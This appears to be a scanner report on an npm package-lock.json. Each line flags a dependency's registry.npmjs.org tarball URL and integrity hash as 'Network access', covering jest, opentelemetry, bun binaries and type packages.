"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", "integrity": "sha512-DApq0KJbJOEzAFYjHADNNxAE3KbhxQB1y5Kplb5Waqw6zVbuWatSnMjE5gs8FUgEPmNsnZA3NCWl9NG0ia04Pg==", - Network accessline 1060
"resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", - Network accessline 1102
"node_modules/@jest/schemas": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", - Network accessline 1103
"version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", - Network accessline 1104
"resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", - Network accessline 1115
"node_modules/@jest/source-map": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", - Network accessline 1116
"version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", "integrity": "sha512-MHjT95QuipcPrpLM+8JMSzFx6eHp5Bm+4XeFDJlwsvVBjmKNiIAvasGK2fxz2WbGRlnvqehFbh07MMa7n3YJnw==", - Network accessline 1117
"resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", - Network accessline 1130
"node_modules/@jest/test-result": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", - Network accessline 1131
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", "integrity": "sha512-Fdx+tv6x1zlkJPcWXmMDAG2HBnaR9XPSd5aDWQVsfrZmLVT3lU1cwyxLgRmXR9yrq4NBoEm9BMsfgFzTQAbJYA==", - Network accessline 1132
"resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", - Network accessline 1146
"node_modules/@jest/test-sequencer": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", - Network accessline 1147
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", "integrity": "sha512-GQwJ5WZVrKnOJuiYiAF52UNUJXgTZx1NHjFSEB0qEMmSZKAkdMoIzw/Cj6x6NF4AvV23AUqDpFzQkN/eYCYTxw==", - Network accessline 1148
"resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", - Network accessline 1162
"node_modules/@jest/transform": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", - Network accessline 1163
"version": "29.7.0", "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", "integrity": "sha512-ok/BTPFzFKVMwO5eOHRrvnBVHdRy9IrsrW1GpMaQ9MCnilNLXQKmAX8s1YXDFaai9xJpac2ySzV0YeRRECr2Vw==", - Network accessline 1164
"resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", - Network accessline 1189
"node_modules/@jest/types": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", - Network accessline 1190
"version": "29.6.3", "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", - Network accessline 1191
"resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", - Network accessline 1207
"node_modules/@jridgewell/gen-mapping": { "version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 1208
"version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - Network accessline 1209
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 1218
"node_modules/@jridgewell/remapping": { "version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 1219
"version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - Network accessline 1220
"resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 1229
"node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1230
"version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - Network accessline 1231
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1239
"node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 1240
"version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==" - Network accessline 1241
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 1246
"node_modules/@jridgewell/trace-mapping": { "version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 1247
"version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - Network accessline 1248
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 1257
"node_modules/@modelcontextprotocol/sdk": { "version": "1.32.1", "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz", - Network accessline 1258
"version": "1.32.1", "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz", "integrity": "sha512-2DdE+SJDtzLEEWzY1ZjY7Q+VcPhcV1KisD3zI4u0XZyktsjHum1mwbMI+JaulUBi2OZk+KJAi2uPXzxichPkdw==", - Network accessline 1259
"resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.32.1.tgz", - Network accessline 1299
"node_modules/@opentelemetry/api": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", - Network accessline 1300
"version": "1.9.1", "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", - Network accessline 1301
"resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", - Network accessline 1309
"node_modules/@opentelemetry/api-logs": { "version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz", - Network accessline 1310
"version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz", "integrity": "sha512-OlanaW1vv7ufTqQ3/fPLI4arGt5ZoM+P8abOMki6uEYnpRazepSWDwDnnw+la7kE26SHVC18//SMccrDvLKOXQ==", - Network accessline 1311
"resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.221.0.tgz", - Network accessline 1322
"node_modules/@opentelemetry/context-async-hooks": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz", - Network accessline 1323
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz", "integrity": "sha512-bvyMcgLEkozzSzpEEEo1OMoeQ97bxj6Qs2uN3mPrSdDvObMI1myffD/BPqcLlzZO9//d1SqQA/WP - Network accessline 1324
"resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.10.0.tgz", - Network accessline 1335
"node_modules/@opentelemetry/core": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz", - Network accessline 1336
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz", "integrity": "sha512-/wNZ8twnEQQA4HoHu22+vcsdru6pWPWxW+7w+FlxT6Id7PE/WIbZmVKkte+PF72e0F2dnImFeHD2syyE1Mw6MQ==", - Network accessline 1337
"resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.10.0.tgz", - Network accessline 1351
"node_modules/@opentelemetry/exporter-trace-otlp-http": { "version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz", - Network accessline 1352
"version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz", "integrity": "sha512-AySXiKoC+meiWm6zdVj5T2LnPDZuatveBby1cMOeQteIWsYXAUxs8Sru13G2pVSP - Network accessline 1353
"resolved": "https://registry.npmjs.org/@opentelemetry/exporter-trace-otlp-http/-/exporter-trace-otlp-http-0.221.0.tgz", - Network accessline 1369
"node_modules/@opentelemetry/otlp-exporter-base": { "version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz", - Network accessline 1370
"version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz", "integrity": "sha512-UFPIq80OH3Ns/oPFHRj14d4DTOxUo+MUFU8hUiCq5jTqFhdeJnfVSANHT+xp92409cA+oxzvlZCe - Network accessline 1371
"resolved": "https://registry.npmjs.org/@opentelemetry/otlp-exporter-base/-/otlp-exporter-base-0.221.0.tgz", - Network accessline 1386
"node_modules/@opentelemetry/otlp-transformer": { "version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz", - Network accessline 1387
"version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz", "integrity": "sha512-lg6lkOU08Az23jVcn/0Els9HP+V8PnR4Km6p0KgpTggS0n/WuhnmY64rSh83Of9iR9nD+dpWr6adlcX8 - Network accessline 1388
"resolved": "https://registry.npmjs.org/@opentelemetry/otlp-transformer/-/otlp-transformer-0.221.0.tgz", - Network accessline 1407
"node_modules/@opentelemetry/resources": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz", - Network accessline 1408
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz", "integrity": "sha512-q6MMm2zhggzsHVNbabYwut+a6nbuQQe3URUoxaojM/8K1IBfwwPzvxIjNi2/lI1TFe+fMHMW9MWhrtDLEXEnkA==", - Network accessline 1409
"resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.10.0.tgz", - Network accessline 1424
"node_modules/@opentelemetry/sdk-logs": { "version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz", - Network accessline 1425
"version": "0.221.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz", "integrity": "sha512-FaDcazjyMp7TZZZAsqbo4IkovP0UegoCu0EBkiNt+qCqvUf7FPAsfcrZ3+ZEkKgXZ/jHafop+JoGPDk3A0SmLg==", - Network accessline 1426
"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-logs/-/sdk-logs-0.221.0.tgz", - Network accessline 1443
"node_modules/@opentelemetry/sdk-metrics": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz", - Network accessline 1444
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz", "integrity": "sha512-t6r1VSvXNtSDnPXU1FbZeetJb7yyovHmgu0wRSoftxtE0g2rSNhQZQUy69sRUCL+iioJpX8SN/S6wq6ZtvLySQ==", - Network accessline 1445
"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-metrics/-/sdk-metrics-2.10.0.tgz", - Network accessline 1460
"node_modules/@opentelemetry/sdk-trace": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz", - Network accessline 1461
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz", "integrity": "sha512-MfQGq3GRmTh5fM/y+OjaO0vj6+luCB1XO2gfXCalKCfgKw0eHL++sm75DNweC6ohlp+aFvACqeE0fYayqdRaoQ==", - Network accessline 1462
"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace/-/sdk-trace-2.10.0.tgz", - Network accessline 1478
"node_modules/@opentelemetry/sdk-trace-base": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz", - Network accessline 1479
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz", "integrity": "sha512-GuYQQT7QD2EeO8lcZLRQzcbOyhqAzL+6WWTKTU9mSUBYBazkEDl+VrQcXQhbB08OWM9anD1aHleVadzulpOaUQ - Network accessline 1480
"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.10.0.tgz", - Network accessline 1497
"node_modules/@opentelemetry/sdk-trace-node": { "version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz", - Network accessline 1498
"version": "2.10.0", "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz", "integrity": "sha512-GZK/G6oZyBLGlH1pUgeDch7D91KoHd2uotUGIkWCPi9GI5T9X0p4L7nNAMDR1BQjkRYoDqo+ddfVx9t5Uhys+Q - Network accessline 1499
"resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.10.0.tgz", - Network accessline 1515
"node_modules/@opentelemetry/semantic-conventions": { "version": "1.43.0", "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", - Network accessline 1516
"version": "1.43.0", "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", "integrity": "sha512-eSYWTm620tTk45EKSedaUL8MFYI8hW164hIXsgIHyxu3VobUB3fFCu5t0hQby6OoWRPsG1KkKU - Network accessline 1517
"resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.43.0.tgz", - Network accessline 1525
"node_modules/@oven/bun-darwin-aarch64": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz", - Network accessline 1526
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz", "integrity": "sha512-MXdZkP1featqxZ+/VTXWG1BVjM4OGBehVY2Q88EeUj/7L0UMeCGItmyPYTN+wxvlGJ6F66JEtzsw+GvQWewnag==" - Network accessline 1527
"resolved": "https://registry.npmjs.org/@oven/bun-darwin-aarch64/-/bun-darwin-aarch64-1.4.2.tgz", - Network accessline 1538
"node_modules/@oven/bun-darwin-x64": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz", - Network accessline 1539
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz", "integrity": "sha512-gZTxZuLjkUhAWjTETu3tw0WhsEdNkJ64daj60ybhPf835a2yollV3yTkK9JozvzKPx4TRFzLSl8C+U525pxVbw==", - Network accessline 1540
"resolved": "https://registry.npmjs.org/@oven/bun-darwin-x64/-/bun-darwin-x64-1.4.2.tgz", - Network accessline 1551
"node_modules/@oven/bun-linux-aarch64": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz", - Network accessline 1552
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz", "integrity": "sha512-3BBP9ovJ2RGHFH6Ae1CAtxNtG1+YY6GD6rmYbsUosoAk9+OEl6zeDQ/k4fBkc6dYOJCtWnx8hUxzNzQATSmvYQ==", - Network accessline 1553
"resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64/-/bun-linux-aarch64-1.4.2.tgz", - Network accessline 1567
"node_modules/@oven/bun-linux-aarch64-musl": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz", - Network accessline 1568
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz", "integrity": "sha512-+Sm6y+lSiSFBOtXmnekp5Q6n1tUKlyv71FCPWBc61Cgb14T5eBs8SN/nh4MUCOKzONkI3O+as3MGUgikS - Network accessline 1569
"resolved": "https://registry.npmjs.org/@oven/bun-linux-aarch64-musl/-/bun-linux-aarch64-musl-1.4.2.tgz", - Network accessline 1583
"node_modules/@oven/bun-linux-x64": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz", - Network accessline 1584
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz", "integrity": "sha512-9/E/UXOTpSo3YsV5g+FhtTd/qTpiWoKuxS12cqtuYA1ssu9fRAoPQnipFgGyck3tWO63iUdxBiygq+kELFawng==", - Network accessline 1585
"resolved": "https://registry.npmjs.org/@oven/bun-linux-x64/-/bun-linux-x64-1.4.2.tgz", - Network accessline 1599
"node_modules/@oven/bun-linux-x64-musl": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz", - Network accessline 1600
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz", "integrity": "sha512-vVTKUg1bnPhRP/Hp73jIVoFh2vPFNYEqYX0ERKfZBOQEEHitNAeukZzzuUDZS0SoDCIpuWUGSpd/CDMbjdR+Uw==" - Network accessline 1601
"resolved": "https://registry.npmjs.org/@oven/bun-linux-x64-musl/-/bun-linux-x64-musl-1.4.2.tgz", - Network accessline 1615
"node_modules/@oven/bun-windows-x64": { "version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz", - Network accessline 1616
"version": "1.4.2", "resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz", "integrity": "sha512-+bN6OuVld/9diT/RLSXSW7JE6CvNE3gL9XsAEjULi1nUsXd6DNO6GuA9jNdNb3r8PdJFnYHr5aypNV1Oj3Rd9g==", - Network accessline 1617
"resolved": "https://registry.npmjs.org/@oven/bun-windows-x64/-/bun-windows-x64-1.4.2.tgz", - Network accessline 1628
"node_modules/@resvg/resvg-wasm": { "version": "2.6.2", "resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz", - Network accessline 1629
"version": "2.6.2", "resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz", "integrity": "sha512-FqALmHI8D4o6lk/LRWDnhw95z5eO+eAa6ORjVg09YRR7BkcM6oPHU9uyC0gtQG5vpFLvgpeU4+zEAz2H8APHNw==", - Network accessline 1630
"resolved": "https://registry.npmjs.org/@resvg/resvg-wasm/-/resvg-wasm-2.6.2.tgz", - Network accessline 1637
"node_modules/@sinclair/typebox": { "version": "0.27.10", "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz", - Network accessline 1638
"version": "0.27.10", "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz", "integrity": "sha512-MTBk/3jGLNB2tVxv6uLlFh1iu64iYOQ2PbdOSK3NW8JZsmlaOh2q6sdtKowBhfw8QFLmYNzTW4/oK4uATIi6ZA==", - Network accessline 1639
"resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.10.tgz", - Network accessline 1644
"node_modules/@sinonjs/commons": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", - Network accessline 1645
"version": "3.0.1", "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", - Network accessline 1646
"resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", - Network accessline 1654
"node_modules/@sinonjs/fake-timers": { "version": "10.3.0", "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", - Network accessline 1655
"version": "10.3.0", "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==", - Network accessline 1656
"resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz", - Network accessline 1664
"node_modules/@stablelib/base64": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", - Network accessline 1665
"version": "1.0.1", "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", - Network accessline 1666
"resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", - Network accessline 1672
"node_modules/@types/babel__core": { "version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1673
"version": "7.20.5", "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", - Network accessline 1674
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - Network accessline 1686
"node_modules/@types/babel__generator": { "version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1687
"version": "7.27.0", "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", - Network accessline 1688
"resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - Network accessline 1696
"node_modules/@types/babel__template": { "version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1697
"version": "7.4.4", "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", - Network accessline 1698
"resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - Network accessline 1707
"node_modules/@types/babel__traverse": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1708
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", - Network accessline 1709
"resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - Network accessline 1717
"node_modules/@types/graceful-fs": { "version": "4.1.9", "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", - Network accessline 1718
"version": "4.1.9", "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==", - Network accessline 1719
"resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz", - Network accessline 1727
"node_modules/@types/istanbul-lib-coverage": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", - Network accessline 1728
"version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+z - Network accessline 1729
"resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", - Network accessline 1734
"node_modules/@types/istanbul-lib-report": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", - Network accessline 1735
"version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA - Network accessline 1736
"resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", - Network accessline 1744
"node_modules/@types/istanbul-reports": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", - Network accessline 1745
"version": "3.0.4", "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", - Network accessline 1746
"resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", - Network accessline 1754
"node_modules/@types/node": { "version": "25.6.0", "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz", - Network accessline 1755
"version": "25.6.0", "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz", "integrity": "sha512-+qIYRKdNYJwY3vRCZMdJbPLJAtGjQBudzZzdzwQYkEPQd+PJGixUL5QfvCLDaULoLv+RhT3LDkwEfKaAkgSmNQ==", - Network accessline 1756
"resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.0.tgz", - Network accessline 1764
"node_modules/@types/stack-utils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", - Network accessline 1765
